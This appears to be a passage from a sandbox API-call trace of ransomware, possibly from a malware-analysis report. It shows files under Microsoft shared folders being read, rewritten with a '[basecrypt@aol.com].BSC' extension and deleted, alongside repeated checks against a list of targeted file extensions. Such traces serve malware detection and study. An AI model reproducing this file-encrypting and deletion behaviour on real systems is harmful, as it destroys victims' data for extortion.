lpString2=".BSC") returned 1 [0105.085] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0105.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.156] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=4782) returned 1 [0105.156] CloseHandle (hObject=0x34c) returned 1 [0105.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0105.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.156] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0105.156] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0105.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0105.157] GetLastError () returned 0x0 [0105.157] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x12ae, lpOverlapped=0x0) returned 1 [0105.918] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x12b0, lpOverlapped=0x0) returned 1 [0105.919] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0105.919] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x104, lpOverlapped=0x0) returned 1 [0105.919] SetEndOfFile (hFile=0x32c) returned 1 [0105.919] CloseHandle (hObject=0x32c) returned 1 [0105.920] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0105.920] SetEndOfFile (hFile=0x34c) returned 1 [0105.921] CloseHandle (hObject=0x34c) returned 1 [0105.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0105.921] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0105.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.921] lstrlenW (lpString=".doc") returned 4 [0105.921] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.921] lstrlenW (lpString=".docx") returned 5 [0105.922] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.922] lstrlenW (lpString=".pdf") returned 4 [0105.922] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString=".xls") returned 4 [0105.922] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString=".xlsx") returned 5 [0105.922] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.922] lstrlenW (lpString=".ppt") returned 4 [0105.922] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString=".zip") returned 4 [0105.922] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.922] lstrlenW (lpString=".rar") returned 4 [0105.922] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString=".bz2") returned 4 [0105.922] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString=".7z") returned 3 [0105.922] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString=".dbf") returned 4 [0105.922] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString=".1cd") returned 4 [0105.922] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString=".jpg") returned 4 [0105.922] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.922] lstrlenW (lpString=".doc") returned 4 [0105.922] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString=".docx") returned 5 [0105.923] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.923] lstrlenW (lpString=".pdf") returned 4 [0105.923] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString=".xls") returned 4 [0105.923] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString=".xlsx") returned 5 [0105.923] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.923] lstrlenW (lpString=".ppt") returned 4 [0105.923] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.923] lstrlenW (lpString=".zip") returned 4 [0105.923] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.923] lstrlenW (lpString=".rar") returned 4 [0105.923] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString=".bz2") returned 4 [0105.923] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString=".7z") returned 3 [0105.923] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.923] lstrlenW (lpString=".dbf") returned 4 [0105.923] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.923] lstrlenW (lpString=".1cd") returned 4 [0105.923] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.923] lstrlenW (lpString=".jpg") returned 4 [0105.923] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.923] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0105.924] lstrlenW (lpString="boxed-correct.avi") returned 17 [0105.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.991] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=111320) returned 1 [0109.991] CloseHandle (hObject=0x340) returned 1 [0109.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0109.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0109.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0109.992] lstrlenW (lpString=".doc") returned 4 [0109.992] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.992] lstrlenW (lpString=".docx") returned 5 [0109.992] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.992] lstrlenW (lpString=".pdf") returned 4 [0109.992] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.992] lstrlenW (lpString=".xls") returned 4 [0110.059] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0110.059] lstrlenW (lpString=".xlsx") returned 5 [0110.059] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0110.059] lstrlenW (lpString=".ppt") returned 4 [0110.059] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0110.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString=".zip") returned 4 [0110.060] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString=".rar") returned 4 [0110.060] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString=".bz2") returned 4 [0110.060] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString=".7z") returned 3 [0110.060] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0110.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString=".dbf") returned 4 [0110.060] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString=".1cd") returned 4 [0110.060] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0110.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString=".jpg") returned 4 [0110.060] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.060] lstrlenW (lpString=".doc") returned 4 [0110.060] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString=".docx") returned 5 [0110.060] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0110.060] lstrlenW (lpString=".pdf") returned 4 [0110.060] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0110.060] lstrlenW (lpString=".xls") returned 4 [0110.061] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString=".xlsx") returned 5 [0110.061] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0110.061] lstrlenW (lpString=".ppt") returned 4 [0110.061] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.061] lstrlenW (lpString=".zip") returned 4 [0110.061] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString=".rar") returned 4 [0110.061] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString=".bz2") returned 4 [0110.061] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString=".7z") returned 3 [0110.061] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0110.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.061] lstrlenW (lpString=".dbf") returned 4 [0110.061] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0110.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.061] lstrlenW (lpString=".1cd") returned 4 [0110.061] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0110.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0110.061] lstrlenW (lpString=".jpg") returned 4 [0110.061] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0110.062] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.062] lstrlenW (lpString="base_altgr.xml") returned 14 [0110.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0110.510] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3524) returned 1 [0110.510] CloseHandle (hObject=0x36c) returned 1 [0110.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0110.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.510] lstrlenW (lpString=".doc") returned 4 [0110.510] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.510] lstrlenW (lpString=".docx") returned 5 [0110.510] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.510] lstrlenW (lpString=".pdf") returned 4 [0110.510] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.510] lstrlenW (lpString=".xls") returned 4 [0110.510] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.510] lstrlenW (lpString=".xlsx") returned 5 [0110.510] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.511] lstrlenW (lpString=".ppt") returned 4 [0110.511] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString=".zip") returned 4 [0110.511] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.511] lstrlenW (lpString=".rar") returned 4 [0110.511] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString=".bz2") returned 4 [0110.511] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString=".7z") returned 3 [0110.511] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString=".dbf") returned 4 [0110.511] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString=".1cd") returned 4 [0110.511] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString=".jpg") returned 4 [0110.511] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.511] lstrlenW (lpString=".doc") returned 4 [0110.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString=".docx") returned 5 [0110.511] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.511] lstrlenW (lpString=".pdf") returned 4 [0110.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString=".xls") returned 4 [0110.511] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.511] lstrlenW (lpString=".xlsx") returned 5 [0110.512] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.512] lstrlenW (lpString=".ppt") returned 4 [0110.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.512] lstrlenW (lpString=".zip") returned 4 [0110.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.512] lstrlenW (lpString=".rar") returned 4 [0110.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.512] lstrlenW (lpString=".bz2") returned 4 [0110.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.512] lstrlenW (lpString=".7z") returned 3 [0110.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.512] lstrlenW (lpString=".dbf") returned 4 [0110.512] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.512] lstrlenW (lpString=".1cd") returned 4 [0110.512] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0110.512] lstrlenW (lpString=".jpg") returned 4 [0110.512] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.512] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.513] lstrlenW (lpString="base_heb.xml") returned 12 [0110.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.895] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=738) returned 1 [0110.895] CloseHandle (hObject=0x2f4) returned 1 [0110.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0110.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.895] lstrlenW (lpString=".doc") returned 4 [0110.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.895] lstrlenW (lpString=".docx") returned 5 [0110.895] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0110.895] lstrlenW (lpString=".pdf") returned 4 [0110.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.895] lstrlenW (lpString=".xls") returned 4 [0110.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.895] lstrlenW (lpString=".xlsx") returned 5 [0110.895] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0110.895] lstrlenW (lpString=".ppt") returned 4 [0110.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString=".zip") returned 4 [0110.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.896] lstrlenW (lpString=".rar") returned 4 [0110.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString=".bz2") returned 4 [0110.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString=".7z") returned 3 [0110.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString=".dbf") returned 4 [0110.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString=".1cd") returned 4 [0110.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString=".jpg") returned 4 [0110.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.896] lstrlenW (lpString=".doc") returned 4 [0110.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString=".docx") returned 5 [0110.896] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0110.896] lstrlenW (lpString=".pdf") returned 4 [0110.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString=".xls") returned 4 [0110.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.896] lstrlenW (lpString=".xlsx") returned 5 [0110.896] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0110.896] lstrlenW (lpString=".ppt") returned 4 [0110.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.897] lstrlenW (lpString=".zip") returned 4 [0110.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.897] lstrlenW (lpString=".rar") returned 4 [0110.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.897] lstrlenW (lpString=".bz2") returned 4 [0110.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.897] lstrlenW (lpString=".7z") returned 3 [0110.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.897] lstrlenW (lpString=".dbf") returned 4 [0110.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.897] lstrlenW (lpString=".1cd") returned 4 [0110.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.897] lstrlenW (lpString="C:\\Program Files\\Common 